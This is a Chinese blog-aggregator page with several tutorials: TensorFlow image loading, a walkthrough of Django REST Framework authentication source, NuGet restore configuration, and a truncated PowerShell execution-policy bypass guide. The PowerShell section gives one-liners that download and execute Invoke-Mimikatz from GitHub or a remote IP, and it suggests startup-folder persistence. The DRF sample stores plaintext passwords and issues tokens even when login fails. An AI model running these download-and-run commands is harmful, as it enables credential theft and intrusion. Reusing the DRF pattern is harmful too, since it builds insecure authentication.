    56     cv.destroyAllWindows()
    57 
    58 def start():
    59     image_path = glob.glob(r'F:\demo\FaceRecognition\人臉庫\ORL\*.bmp')
    60     image_batch = read_imgs(image_path, ".bmp", (112, 92, 1), 5)
    61     print(type(image_batch))    # <class 'tensorflow.python.framework.ops.Tensor'>
    62 
    63 
    64     with tf.Session() as sess:
    65         sess.run(tf.local_variables_initializer())
    66         coord = tf.train.Coordinator()      # 線程的協調器
    67         threads = tf.train.start_queue_runners(sess, coord)     # 開始在圖表中收集隊列運行器
    68         image_batch = sess.run(image_batch)
    69         print(type(image_batch))    # <class 'numpy.ndarray'>
    70 
    71         for i in range(image_batch.__len__()):
    72             cv.imshow("win_"+str(i), image_batch[i])
    73         cv.waitKey()
    74         cv.destroyAllWindows()
    75 
    76         # 若使用 with 方式打開 Session,且沒加如下2行語句,則會出錯
    77         # ERROR:tensorflow:Exception in QueueRunner: Enqueue operation was cancelled;
    78         # 原因:文件隊列線程還處於工作狀態(隊列中還有圖片數據),而加載完batch_size張圖片會話就會自動關閉,同時關閉文件隊列線程
    79         coord.request_stop()
    80         coord.join(threads)
    81 
    82 
    83 if __name__ == "__main__":
    84     # main()
    85     start()

    從本地批量的讀取圖片案例

     

    案列6:TFRecord文件打包與讀取

     1 def write_TFRecord(filename, data, labels, is_shuffler=True):
     2     """
     3     將數據打包成TFRecord格式
     4     :param filename: 打包後路徑名,默認在工程目錄下創建該文件;String
     5     :param data: 需要打包的文件路徑名;list
     6     :param labels: 對應文件的標籤;list
     7     :param is_shuffler:是否隨機初始化打包后的數據,默認:True;Bool
     8     :return: None
     9     """
    10     im_data = list(data)
    11     im_labels = list(labels)
    12 
    13     index = [i for i in range(im_data.__len__())]
    14     if is_shuffler:
    15         np.random.shuffle(index)
    16 
    17     # 創建寫入器,然後使用該對象寫入樣本example
    18     writer = tf.python_io.TFRecordWriter(filename)
    19     for i in range(im_data.__len__()):
    20         im_d = im_data[index[i]]    # im_d:存放着第index[i]張圖片的路徑信息
    21         im_l = im_labels[index[i]]  # im_l:存放着對應圖片的標籤信息
    22 
    23         # # 獲取當前的圖片數據  方式一:
    24         # data = cv2.imread(im_d)
    25         # # 創建樣本
    26         # ex = tf.train.Example(
    27         #     features=tf.train.Features(
    28         #         feature={
    29         #             "image": tf.train.Feature(
    30         #                 bytes_list=tf.train.BytesList(
    31         #                     value=[data.tobytes()])), # 需要打包成bytes類型
    32         #             "label": tf.train.Feature(
    33         #                 int64_list=tf.train.Int64List(
    34         #                     value=[im_l])),
    35         #         }
    36         #     )
    37         # )
    38         # 獲取當前的圖片數據  方式二:相對於方式一,打包文件佔用空間小了一半多
    39         data = tf.gfile.FastGFile(im_d, "rb").read()
    40         ex = tf.train.Example(
    41             features=tf.train.Features(
    42                 feature={
    43                     "image": tf.train.Feature(
    44                         bytes_list=tf.train.BytesList(
    45                             value=[data])), # 此時的data已經是bytes類型
    46                     "label": tf.train.Feature(
    47                         int64_list=tf.train.Int64List(
    48                             value=[im_l])),
    49                 }
    50             )
    51         )
    52 
    53         # 寫入將序列化之後的樣本
    54         writer.write(ex.SerializeToString())
    55     # 關閉寫入器
    56     writer.close()

    TFRecord文件打包案列

     

     1 import tensorflow as tf
     2 import cv2
     3 
     4 def read_TFRecord(file_list, batch_size=10):
     5     """
     6     讀取TFRecord文件
     7     :param file_list: 存放TFRecord的文件名,List
     8     :param batch_size: 每次讀取圖片的數量
     9     :return: 解析後圖片及對應的標籤
    10     """
    11     file_queue = tf.train.string_input_producer(file_list, num_epochs=None, shuffle=True)
    12     reader = tf.TFRecordReader()
    13     _, ex = reader.read(file_queue)
    14     batch = tf.train.shuffle_batch([ex], batch_size, capacity=batch_size * 10, min_after_dequeue=batch_size * 5)
    15 
    16     feature = {
    17         'image': tf.FixedLenFeature([], tf.string),
    18         'label': tf.FixedLenFeature([], tf.int64)
    19     }
    20     example = tf.parse_example(batch, features=feature)
    21 
    22     images = tf.decode_raw(example['image'], tf.uint8)
    23     images = tf.reshape(images, [-1, 32, 32, 3])
    24 
    25     return images, example['label']
    26 
    27 
    28 
    29 def main():
    30     # filelist = ['data/train.tfrecord']
    31     filelist = ['data/test.tfrecord']
    32     images, labels = read_TFRecord(filelist, 2)
    33     with tf.Session() as sess:
    34         sess.run(tf.local_variables_initializer())
    35         coord = tf.train.Coordinator()
    36         threads = tf.train.start_queue_runners(sess=sess, coord=coord)
    37 
    38         try:
    39             while not coord.should_stop():
    40                 for i in range(1):
    41                     image_bth, _ = sess.run([images, labels])
    42                     print(_)
    43 
    44                     cv2.imshow("image_0", image_bth[0])
    45                     cv2.imshow("image_1", image_bth[1])
    46                 break
    47         except tf.errors.OutOfRangeError:
    48             print('read done')
    49         finally:
    50             coord.request_stop()
    51         coord.join(threads)
    52         cv2.waitKey(0)
    53         cv2.destroyAllWindows()
    54 
    55 if __name__ == "__main__":
    56     main()

    TFReord文件的讀取案列

     

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※教你寫出一流的銷售文案?

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※回頭車貨運收費標準

    ※別再煩惱如何寫文案,掌握八大原則!

    ※超省錢租車方案

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

  • 10.DRF-認證

    10.DRF-認證

    Django rest framework源碼分析(1)—-認證

    一、基礎

    1.1.安裝

    兩種方式:

    • github
    • pip直接安裝
    pip install djangorestframework
    

    1.2.需要先了解的一些知識

    理解下面兩個知識點非常重要,django-rest-framework源碼中到處都是基於CBV和面向對象的封裝

    (1)面向對象封裝的兩大特性

    把同一類方法封裝到類中
    
    將數據封裝到對象中
    

    (2)CBV

    基於反射實現根據請求方式不同,執行不同的方法

    原理:url–>view方法–>dispatch方法(反射執行其它方法:GET/POST/PUT/DELETE等等)

    二、簡單實例

    2.1.settings

    先創建一個project和一個app(我這裏命名為API)

    首先要在settings的app中添加

    INSTALLED_APPS = [
        'rest_framework',
    ]
    

    2.2.url

    from django.contrib import admin
    from django.urls import path
    from API.views import AuthView
    
    urlpatterns = [
        path('admin/', admin.site.urls),
        path('api/v1/auth/',AuthView.as_view()),
    ]
    

    2.3.models

    一個保存用戶的信息

    一個保存用戶登錄成功后的token

    from django.db import models
    
    class UserInfo(models.Model):
        USER_TYPE = (
            (1,'普通用戶'),
            (2,'VIP'),
            (3,'SVIP')
        )
    
        user_type = models.IntegerField(choices=USER_TYPE)
        username = models.CharField(max_length=32)
        password = models.CharField(max_length=64)
    
    class UserToken(models.Model):
        user = models.OneToOneField(UserInfo,on_delete=models.CASCADE)
        token = models.CharField(max_length=64)
    

    2.4.views

    用戶登錄(返回token並保存到數據庫)

    from django.shortcuts import render
    from django.http import JsonResponse
    from rest_framework.views import APIView
    from API import models
    
    def md5(user):
        import hashlib
        import time
        #當前時間,相當於生成一個隨機的字符串
        ctime = str(time.time())
        m = hashlib.md5(bytes(user,encoding='utf-8'))
        m.update(bytes(ctime,encoding='utf-8'))
        return m.hexdigest()
    
    class AuthView(object):
        def post(self,request,*args,**kwargs):
            ret = {'code':1000,'msg':None}
            try:
                user = request._request.POST.get('username')
                pwd = request._request.POST.get('password')
                obj = models.UserInfo.objects.filter(username=user,password=pwd).first()
                if not obj:
                    ret['code'] = 1001
                    ret['msg'] = '用戶名或密碼錯誤'
                #為用戶創建token
                token = md5(user)
                #存在就更新,不存在就創建
                models.UserToken.objects.update_or_create(user=obj,defaults={'token':token})
                ret['token'] = token
            except Exception as e:
                ret['code'] = 1002
                ret['msg'] = '請求異常'
            return JsonResponse(ret)
    

    2.5.利用postman發請求

    如果用戶名和密碼正確的話 會生成token值,下次該用戶再登錄時,token的值就會更新

    數據庫中可以看到token的值

    當用戶名或密碼錯誤時,拋出異常

    三、添加認證

    基於上面的例子,添加一個認證的類

    3.1.url

    path('api/v1/order/',OrderView.as_view()),
    

    3.2.views

    from django.shortcuts import render,HttpResponse
    from django.http import JsonResponse
    from rest_framework.views import APIView
    from API import models
    from rest_framework.request import Request
    from rest_framework import exceptions
    from rest_framework.authentication import BasicAuthentication
    
    ORDER_DICT = {
        1:{
            'name':'apple',
            'price':15
        },
        2:{
            'name':'dog',
            'price':100
        }
    }
    
    def md5(user):
        import hashlib
        import time
        #當前時間,相當於生成一個隨機的字符串
        ctime = str(time.time())
        m = hashlib.md5(bytes(user,encoding='utf-8'))
        m.update(bytes(ctime,encoding='utf-8'))
        return m.hexdigest()
    
    class AuthView(object):
        '''用於用戶登錄驗證'''
        def post(self,request,*args,**kwargs):
            ret = {'code':1000,'msg':None}
            try:
                user = request._request.POST.get('username')
                pwd = request._request.POST.get('password')
                obj = models.UserInfo.objects.filter(username=user,password=pwd).first()
                if not obj:
                    ret['code'] = 1001
                    ret['msg'] = '用戶名或密碼錯誤'
                #為用戶創建token
                token = md5(user)
                #存在就更新,不存在就創建
                models.UserToken.objects.update_or_create(user=obj,defaults={'token':token})
                ret['token'] = token
            except Exception as e:
                ret['code'] = 1002
                ret['msg'] = '請求異常'
            return JsonResponse(ret)
    
    
    class Authentication(APIView):
        '''認證'''
        def authenticate(self,request):
            token = request._request.GET.get('token')
            token_obj = models.UserToken.objects.filter(token=token).first()
            if not token_obj:
                raise exceptions.AuthenticationFailed('用戶認證失敗')
            #在rest framework內部會將這兩個字段賦值給request,以供後續操作使用
            return (token_obj.user,token_obj)
    
        def authenticate_header(self, request):
            pass
    
    class OrderView(APIView):
        '''訂單相關業務'''
    
        authentication_classes = [Authentication,]    #添加認證
        def get(self,request,*args,**kwargs):
            #request.user
            #request.auth
            ret = {'code':1000,'msg':None,'data':None}
            try:
                ret['data'] = ORDER_DICT
            except Exception as e:
                pass
            return JsonResponse(ret)
    

    3.3用postman發get請求

    請求的時候沒有帶token,可以看到會显示“用戶認證失敗”

    這樣就達到了認證的效果,django-rest-framework的認證是怎麼實現的呢,下面基於這個例子來剖析drf的源碼。

    四、drf的認證源碼分析

    源碼流程圖

    請求先到dispatch

    dispatch()主要做了兩件事

    • 封裝request
    • 認證  

    具體看我寫的代碼裏面的註釋

    def dispatch(self, request, *args, **kwargs):
    	"""
    	`.dispatch()` is pretty much the same as Django's regular dispatch,
    	but with extra hooks for startup, finalize, and exception handling.
    	 """
    	self.args = args
        self.kwargs = kwargs
        #對原始request進行加工,豐富了一些功能
        #Request(
        #     request,
        #     parsers=self.get_parsers(),
        #     authenticators=self.get_authenticators(),
        #     negotiator=self.get_content_negotiator(),
        #     parser_context=parser_context
        # )
        #request(原始request,[BasicAuthentications對象,])
        #獲取原生request,request._request
        #獲取認證類的對象,request.authticators
        #1.封裝request
        request = self.initialize_request(request, *args, **kwargs)
        self.request = request
        self.headers = self.default_response_headers  # deprecate?
    
        try:
            #2.認證
            self.initial(request, *args, **kwargs)
    
            # Get the appropriate handler method
            if request.method.lower() in self.http_method_names:
                handler = getattr(self, request.method.lower(),
                                      self.http_method_not_allowed)
            else:
                handler = self.http_method_not_allowed
    
            response = handler(request, *args, **kwargs)
    
    	except Exception as exc:
            response = self.handle_exception(exc)
    
    	self.response = self.finalize_response(request, response, *args, **kwargs)
        return self.response
    

    4.1.reuqest

    (1)initialize_request()

    可以看到initialize()就是封裝原始request

    def initialize_request(self, request, *args, **kwargs):
        """
        Returns the initial request object.
        """
        parser_context = self.get_parser_context(request)
    
        return Request(
            request,
            parsers=self.get_parsers(),
            #[BasicAuthentication(),],把對象封裝到request裏面了
            authenticators=self.get_authenticators(),    
            negotiator=self.get_content_negotiator(), parser_context=parser_context )
    

    (2)get_authenticators()

    通過列表生成式,返回對象的列表

    def get_authenticators(self):
        """
        Instantiates and returns the list of authenticators that this view can use.
        """
        return [auth() for auth in self.authentication_classes]
    

    (3)authentication_classes

    APIView裏面有個 authentication_classes 字段

    可以看到默認是去全局的配置文件找(api_settings)

    class APIView(View):
    
        # The following policies may be set at either globally, or per-view.
        renderer_classes = api_settings.DEFAULT_RENDERER_CLASSES
        parser_classes = api_settings.DEFAULT_PARSER_CLASSES
        authentication_classes = api_settings.DEFAULT_AUTHENTICATION_CLASSES
        throttle_classes = api_settings.DEFAULT_THROTTLE_CLASSES
        permission_classes = api_settings.DEFAULT_PERMISSION_CLASSES
        content_negotiation_class = api_settings.DEFAULT_CONTENT_NEGOTIATION_CLASS
        metadata_class = api_settings.DEFAULT_METADATA_CLASS
        versioning_class = api_settings.DEFAULT_VERSIONING_CLASS
    

    4.2.認證

    self.initial(request, *args, **kwargs)

    def dispatch(self, request, *args, **kwargs):
        """
        `.dispatch()` is pretty much the same as Django's regular dispatch,
        but with extra hooks for startup, finalize, and exception handling.
        """
        self.args = args
        self.kwargs = kwargs
        #對原始request進行加工,豐富了一些功能
        #Request(
        #     request,
        #     parsers=self.get_parsers(),
        #     authenticators=self.get_authenticators(),
        #     negotiator=self.get_content_negotiator(),
        #     parser_context=parser_context
        # )
        #request(原始request,[BasicAuthentications對象,])
        #獲取原生request,request._request
        #獲取認證類的對象,request.authticators
        #1.封裝request
        request = self.initialize_request(request, *args, **kwargs)
        self.request = request
        self.headers = self.default_response_headers  # deprecate?
    
        try:
            #2.認證
            self.initial(request, *args, **kwargs)
    
            # Get the appropriate handler method
            if request.method.lower() in self.http_method_names:
                handler = getattr(self, request.method.lower(),
                                      self.http_method_not_allowed)
            else:
                handler = self.http_method_not_allowed
    
            response = handler(request, *args, **kwargs)
    
    	except Exception as exc:
            response = self.handle_exception(exc)
    
    	self.response = self.finalize_response(request, response, *args, **kwargs)
        return self.response
    

    (1)initial()

    主要看 self.perform_authentication(request),實現認證

    def initial(self, request, *args, **kwargs):
        """
        Runs anything that needs to occur prior to calling the method handler.
        """
        self.format_kwarg = self.get_format_suffix(**kwargs)
    
        # Perform content negotiation and store the accepted info on the request
        neg = self.perform_content_negotiation(request)
        request.accepted_renderer, request.accepted_media_type = neg
    
        # Determine the API version, if versioning is in use.
        version, scheme = self.determine_version(request, *args, **kwargs)
        request.version, request.versioning_scheme = version, scheme
    
        # Ensure that the incoming request is permitted
        #3.實現認證
        self.perform_authentication(request)
        self.check_permissions(request)
        self.check_throttles(request)
    

    (2)perform_authentication()

    調用了request.user

    def perform_authentication(self, request):
        """
        Perform authentication on the incoming request.
    
    	Note that if you override this and simply 'pass', then authentication
    	will instead be performed lazily, the first time either
    	`request.user` or `request.auth` is accessed.
    	"""
        request.user
    

    (3)user

    request.user的request的位置

    點進去可以看到Request有個user方法,加 @property 表示調用user方法的時候不需要加括號“user()”,可以直接調用:request.user

    @property
    def user(self):
        """
        Returns the user associated with the current request, as authenticated
        by the authentication classes provided to the request.
        """
        if not hasattr(self, '_user'):
            with wrap_attributeerrors():
                #獲取認證對象,進行一步步的認證
                self._authenticate()
        return self._user
    

    (4)_authenticate()

    循環所有authenticator對象

    def _authenticate(self):
        """
        Attempt to authenticate the request using each authentication instance
        in turn.
        """
        #循環認證類的所有對象
        #執行對象的authenticate方法
        for authenticator in self.authenticators:
            try:
                #執行認證類的authenticate方法
                #這裏分三種情況
                #1.如果authenticate方法拋出異常,self._not_authenticated()執行
                #2.有返回值,必須是元組:(request.user,request.auth)
                #3.返回None,表示當前認證不處理,等下一個認證來處理
                user_auth_tuple = authenticator.authenticate(self)
            except exceptions.APIException:
                self._not_authenticated()
                raise
    
            if user_auth_tuple is not None:
                self._authenticator = authenticator
                self.user, self.auth = user_auth_tuple
                return
    
    	self._not_authenticated()
    

    返回值就是例子中的:

    token_obj.user-->>request.user
    token_obj-->>request.auth
    #在rest framework內部會將這兩個字段賦值給request,以供後續操作使用
    return (token_obj.user,token_obj)     #例子中的return
    

    當都沒有返回值,就執行self._not_authenticated(),相當於匿名用戶,沒有通過認證

    def _not_authenticated(self):
        """
        Set authenticator, user & authtoken representing an unauthenticated request.
    
    	Defaults are None, AnonymousUser & None.
    	"""
        self._authenticator = None
    
        if api_settings.UNAUTHENTICATED_USER:
            self.user = api_settings.UNAUTHENTICATED_USER()   #AnonymousUser匿名用戶
        else:
            self.user = None
    
    	if api_settings.UNAUTHENTICATED_TOKEN:
            self.auth = api_settings.UNAUTHENTICATED_TOKEN()  #None
    	else:
            self.auth = None
    

    面向對象知識:

    子類繼承 父類,調用方法的時候:

    • 優先去自己裏面找有沒有這個方法,有就執行自己的
    • 只有當自己裏面沒有這個方法的時候才會去父類找

    因為authenticate方法我們自己寫,所以當執行authenticate()的時候就是執行我們自己寫的認證

    父類中的authenticate方法

    def authenticate(self, request):
        return (self.force_user, self.force_token)
    

    我們自己寫的

    class Authentication(APIView):
        '''用於用戶登錄驗證'''
        def authenticate(self,request):
            token = request._request.GET.get('token')
            token_obj = models.UserToken.objects.filter(token=token).first()
            if not token_obj:
                raise exceptions.AuthenticationFailed('用戶認證失敗')
            #在rest framework內部會將這兩個字段賦值給request,以供後續操作使用
            return (token_obj.user,token_obj)
    

    認證的流程就是上面寫的,弄懂了原理,再寫代碼就更容易理解為什麼了。

    4.3.配置文件

    繼續解讀源碼

    默認是去全局配置文件中找,所以我們應該在settings.py中配置好路徑

    api_settings源碼

    api_settings = APISettings(None, DEFAULTS, IMPORT_STRINGS)
    
    def reload_api_settings(*args, **kwargs):
        setting = kwargs['setting']
        if setting == 'REST_FRAMEWORK':
            api_settings.reload()
    

    setting中‘REST_FRAMEWORK’中找

    全局配置方法:

    API文件夾下面新建文件夾utils,再新建auth.py文件,裏面寫上認證的類

    settings.py

    #設置全局認證
    REST_FRAMEWORK = {
        "DEFAULT_AUTHENTICATION_CLASSES":['API.utils.auth.Authentication',]   #裏面寫你的認證的類的路徑
    }
    

    auth.py

    # API/utils/auth.py
    
    from rest_framework import exceptions
    from API import models
    
    
    class Authentication(object):
        '''用於用戶登錄驗證'''
        def authenticate(self,request):
            token = request._request.GET.get('token')
            token_obj = models.UserToken.objects.filter(token=token).first()
            if not token_obj:
                raise exceptions.AuthenticationFailed('用戶認證失敗')
            #在rest framework內部會將這兩個字段賦值給request,以供後續操作使用
            return (token_obj.user,token_obj)
    
        def authenticate_header(self, request):
            pass
    

    在settings裏面設置的全局認證,所有業務都需要經過認證,如果想讓某個不需要認證,只需要在其中添加下面的代碼:

    authentication_classes = []    #裏面為空,代表不需要認證
    
    from django.shortcuts import render,HttpResponse
    from django.http import JsonResponse
    from rest_framework.views import APIView
    from API import models
    from rest_framework.request import Request
    from rest_framework import exceptions
    from rest_framework.authentication import BasicAuthentication
    
    ORDER_DICT = {
        1:{
            'name':'apple',
            'price':15
        },
        2:{
            'name':'dog',
            'price':100
        }
    }
    
    def md5(user):
        import hashlib
        import time
        #當前時間,相當於生成一個隨機的字符串
        ctime = str(time.time())
        m = hashlib.md5(bytes(user,encoding='utf-8'))
        m.update(bytes(ctime,encoding='utf-8'))
        return m.hexdigest()
    
    class AuthView(APIView):
        '''用於用戶登錄驗證'''
    
        authentication_classes = []    #裏面為空,代表不需要認證
    
        def post(self,request,*args,**kwargs):
            ret = {'code':1000,'msg':None}
            try:
                user = request._request.POST.get('username')
                pwd = request._request.POST.get('password')
                obj = models.UserInfo.objects.filter(username=user,password=pwd).first()
                if not obj:
                    ret['code'] = 1001
                    ret['msg'] = '用戶名或密碼錯誤'
                #為用戶創建token
                token = md5(user)
                #存在就更新,不存在就創建
                models.UserToken.objects.update_or_create(user=obj,defaults={'token':token})
                ret['token'] = token
            except Exception as e:
                ret['code'] = 1002
                ret['msg'] = '請求異常'
            return JsonResponse(ret)
    
    
    
    
    class OrderView(APIView):
        '''訂單相關業務'''
    
    
        def get(self,request,*args,**kwargs):
            # self.dispatch
            #request.user
            #request.auth
            ret = {'code':1000,'msg':None,'data':None}
            try:
                ret['data'] = ORDER_DICT
            except Exception as e:
                pass
            return JsonResponse(ret)
    
    API/view.py代碼
    

    再測試一下我們的代碼

    不帶token發請求

    帶token發請求

    五、drf的內置認證

    rest_framework裏面內置了一些認證,我們自己寫的認證類都要繼承內置認證類 “BaseAuthentication”

    4.1.BaseAuthentication源碼:

    class BaseAuthentication(object):
        """
        All authentication classes should extend BaseAuthentication.
        """
    
        def authenticate(self, request):
            """
            Authenticate the request and return a two-tuple of (user, token).
            """
            #內置的認證類,authenticate方法,如果不自己寫,默認則拋出異常
            raise NotImplementedError(".authenticate() must be overridden.")
    
        def authenticate_header(self, request):
            """
            Return a string to be used as the value of the `WWW-Authenticate`
            header in a `401 Unauthenticated` response, or `None` if the
            authentication scheme should return `403 Permission Denied` responses.
            """
            #authenticate_header方法,作用是當認證失敗的時候,返回的響應頭
            pass
    

    4.2.修改自己寫的認證類

    自己寫的Authentication必須繼承內置認證類BaseAuthentication

    # API/utils/auth/py
    
    from rest_framework import exceptions
    from API import models
    from rest_framework.authentication import BaseAuthentication
    
    
    class Authentication(BaseAuthentication):
        '''用於用戶登錄驗證'''
        def authenticate(self,request):
            token = request._request.GET.get('token')
            token_obj = models.UserToken.objects.filter(token=token).first()
            if not token_obj:
                raise exceptions.AuthenticationFailed('用戶認證失敗')
            #在rest framework內部會將這兩個字段賦值給request,以供後續操作使用
            return (token_obj.user,token_obj)
    
        def authenticate_header(self, request):
            pass
    

    4.3.其它內置認證類

    rest_framework裏面還內置了其它認證類,我們主要用到的就是BaseAuthentication,剩下的很少用到

    六、總結

    自己寫認證類方法梳理

    (1)創建認證類

    • 繼承BaseAuthentication —>>1.重寫authenticate方法;2.authenticate_header方法直接寫pass就可以(這個方法必須寫)

    (2)authenticate()返回值(三種)

    • None —–>>>當前認證不管,等下一個認證來執行
    • raise exceptions.AuthenticationFailed(‘用戶認證失敗’) # from rest_framework import exceptions
    • 有返回值元祖形式:(元素1,元素2) #元素1複製給request.user; 元素2複製給request.auth

    (3)局部使用

    • authentication_classes = [BaseAuthentication,]

    (4)全局使用

    #設置全局認證
    REST_FRAMEWORK = {
        "DEFAULT_AUTHENTICATION_CLASSES":['API.utils.auth.Authentication',]
    }
    

    源碼流程

    —>>dispatch

        –封裝request

           —獲取定義的認證類(全局/局部),通過列表生成式創建對象 

         —initial

           —-peform_authentication

             —–request.user (每部循環創建的對象)

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※超省錢租車方案

    ※別再煩惱如何寫文案,掌握八大原則!

    ※回頭車貨運收費標準

    ※教你寫出一流的銷售文案?

    FB行銷專家,教你從零開始的技巧

  • nuget 包是如何還原的

    nuget 包是如何還原的

    Intro

    一直以來從來都只是簡單的用 nuget 包,最近想折騰一個東西,需要自己搞一個 nuget 包的解析,用戶指定 nuget 包的名稱和版本,然後去解析對應的 nuget 包並添加引用到項目,
    於是就想搞明白 nuget 包是怎麼還原的,對於本地已經下載了的 nuget 包又是怎麼找的

    Nuget 包的引用

    對於 dotnetcore 項目(這裏不算之前那種 project.json 的項目,只討論 *.csproj 這種項目),都是使用新的項目格式,PackageReference 模式

    示例:

    <PackageReference Include="WeihanLi.Common" Version="1.0.39" /> 
    

    對於 dotnet framework 項目,如果使用 PackageReference 包格式和上面一樣,如果是傳統的 packages.config 包形式,會有一個 packages.config 的文件包含引用的 nuget 包,文件內容示例:

    <?xml version="1.0" encoding="utf-8"?>
    <packages>
      <package id="Newtonsoft.Json" version="9.0.1" targetFramework="net452" />
    </packages>
    

    本文主要說明 dotnetcore 這種 PackageReference 這種形式

    nuget 包的還原

    nuget 包在第一次從 nuget.org 或自己的包源上下載之後會存放在本地的一個文件夾中,下次再需要相同版本的包還原時就會直接從本地的包中獲取,而這個保存的文件夾是 nuget 配置的一部分,在網上可以找到一些修改 nuget 默認保存 packages 文件夾的位置,但是這些文章都很類似,都只是給出了一個解決方案然而並沒有說明為什麼要這麼做,這麼做的根據是什麼並沒有說明,其實這種解決方案是添加了一個默認的 nuget 配置文件,修改了 nuget 包保存的位置

    nuget 配置

    默認配置

    nuget 會有一些默認的配置,可以參考官方文檔: https://docs.microsoft.com/en-us/nuget/reference/nuget-config-file#config-section

    nuget 配置中有一個 globalPackagesFolder 的配置,是用來指定默認的 nuget 包保存的位置,在 Windows 上默認的保存位置是 %userprofile%\.nuget\packages,在 Linux/Mac 上默認的保存位置是 ~/.nuget/packages,可以使用 nuget.configNuGet.Config 配置文件來修改默認的保存文件,除此之外,還可以通過環境變量的方式,配置 NUGET_PACKAGES 來修改默認 nuget 包保存的位置

    默認配置文件

    nuget 配置的默認配置文件,官方文檔:https://docs.microsoft.com/en-us/nuget/reference/cli-reference/cli-ref-config#options

    Windows 上默認配置文件的位置是 %AppData%\NuGet\NuGet.Config 這也是現在網上那些修改默認保存 nuget 包位置的解決方案,
    Linux/Mac 上大多是 ~/.config/NuGet/NuGet.Config,有的可能是 ~/.nuget/NuGet/NuGet.Config(和系統版本有關係)

    Windows 上默認是沒有這個配置文件的,添加這個默認配置文件之後就是全局作用的

    創建 %AppData%\NuGet\NuGet.Config 這個默認的配置文件,然後在這個配置文件里配置 globalPackagesFolder 來修改默認的 nuget 包保存路徑

    示例:

    <?xml version="1.0" encoding="utf-8"?>
    <configuration>
      <packageSources>
        <add key="nuget.org" value="https://api.nuget.org/v3/index.json" />
      </packageSources>
      <config> 
        <add key="globalPackagesFolder" value="D:\nuget\packages" />
      </config>
    </configuration>
    

    Reference

    • https://docs.microsoft.com/en-us/nuget/reference/nuget-config-file#config-section
    • https://docs.microsoft.com/en-us/nuget/reference/cli-reference/cli-ref-config

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※帶您來了解什麼是 USB CONNECTOR  ?

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    ※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

    ※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※教你寫出一流的銷售文案?

  • 繞過PowerShell執行策略方法

    繞過PowerShell執行策略方法

    前言:

    默認情況下,PowerShell配置為阻止Windows系統上執行PowerShell腳本。對於滲透測試人員,系統管理員和開發人員而言,這可能是一個障礙,但並非必須如此。

     

    什麼是PowerShell執行策略?

    PowerShell execution policy 是用來決定哪些類型的PowerShell腳本可以在系統中運行。默認情況下,它是“Restricted”(限制)的。然而,這個設置從來沒有算是一種安全控制。相反,它會阻礙管理員操作。這就是為什麼我們有這麼多繞過它的方法。

     

    為什麼我們要繞過執行政策?

    因為人們希望使用腳本實現自動化操作,powershell為什麼受到管理員、滲透測試人員、黑客的青睞,原因如下:

    Windows原生支持
    能夠調用Windows API
    能夠運行命令而無需寫入磁盤(可直接加載至內存,無文件落地)
    能夠避免被反病毒工具檢測
    大多數應用程序白名單解決方案已將其標記為“受信任”
    一種用於編寫許多開源Pentest工具包的媒介

     

    如何查看執行策略

    在能夠使用所有完美功能的PowerShell之前,攻擊者可以繞過“Restricted”(限制)execution policy。你可以通過PowerShell命令“executionpolicy“看看當前的配置。如果你第一次看它的設置可能設置為“Restricted”(限制),如下圖所示:

    Get-ExecutionPolicy

     

     

    同樣值得注意的是execution policy可以在系統中設置不同的級別。要查看他們使用下面的命令列表。更多信息可以點擊這裏查看微軟的“Set-ExecutionPolicy” 。

    Get-ExecutionPolicy -List | Format-Table -AutoSize

     

     

    我們先將powershell執行策略設置為Restricted(限制),方便進行後續測試繞過PowerShell Execution Policy。

    Set-ExecutionPolicy Restricted

     

     

    繞過PowerShell執行策略

    1、直接在Interactive PowerShell控制台中輸入powershell代碼
    複製並粘貼你的PowerShell腳到一個交互式控制台,如下圖所示。但是,請記住,你將受到當前用戶權限限制。這是最基本的例子,當你有一個交互控制台時,可以方便快速地運行腳本。此外,這種技術不會更改配置或需要寫入磁盤。

    Write-Host “It’s run!”;

     

     

    2、echo腳本並將其通過管道傳遞到PowerShell
    簡單的ECHO腳本到PowerShell的標準輸入。這種技術不會導致配置的更改或要求寫入磁盤。

    Echo Write-Host “It’s run!” | PowerShell.exe -noprofile –

     

     

    3、從文件讀取腳本並通過管道傳輸到PowerShell
    使用Windows的”type”命令或PowerShell的”Get-Content”命令來從磁盤讀取你的腳本並輸入到標準的PowerShell中,這種技術不會導致配置文件的更改,但是需要寫入磁盤。然而,如果你想試圖避免寫到磁盤,你可以從網絡上遠程讀取你的腳本。

    例1:Get-Content Powershell命令

    Get-Content .\demo.ps1 | PowerShell.exe -noprofile –

     

     

    例2:Type 命令

    type .\demo.ps1 | PowerShell.exe -noprofile –

     

     

    4、從遠程下載腳本並通過IEX執行
    這種技術可以用來從網上下載一個PowerShell腳本並執行它無需寫入磁盤。它也不會導致任何配置更改。

    powershell -nop -c “iex(New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/Micr067/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1’)”

    如無法使用github下載可換vps:

    powershell -nop -c “iex(New-Object Net.WebClient).DownloadString(‘http://182.xxx.xxx.156:10001/demo.ps1’)”

     

     

    5、使用使用command命令
    這種技術和通過複製和粘貼來執行一個腳本是非常相似的,但它可以做沒有交互式控制台。這是很好的方式適合執行簡單的腳本,但更複雜的腳本通常容易出現錯誤。這種技術不會導致配置更改或要求寫入磁盤。

    例1:完整的命令

    Powershell -command “Write-Host “Its run!””;

     

     

    示例2:簡短命令(-c)

    Powershell -c “Write-Host “It’s run!’”

    可能還值得注意的是,您可以將這些類型的PowerShell命令放入批處理文件中,並將它們放入自動運行的位置(如所有用戶的啟動文件夾),以在權限提升期間提供幫助。

     

     

    6、使用EncodeCommand命令
    這和使用”Command”命令非常像,但它為所有的腳本提供了一個Unicode / Base64編碼串。通過這種方式加密你的腳本可以幫你繞過所有通過”Command”執行時會遇到的錯誤。這種技術不會導致配置文件的更改或要求寫入磁盤。

    例1: 完整的命令

    $command = “Write-Host ‘Its run!’”

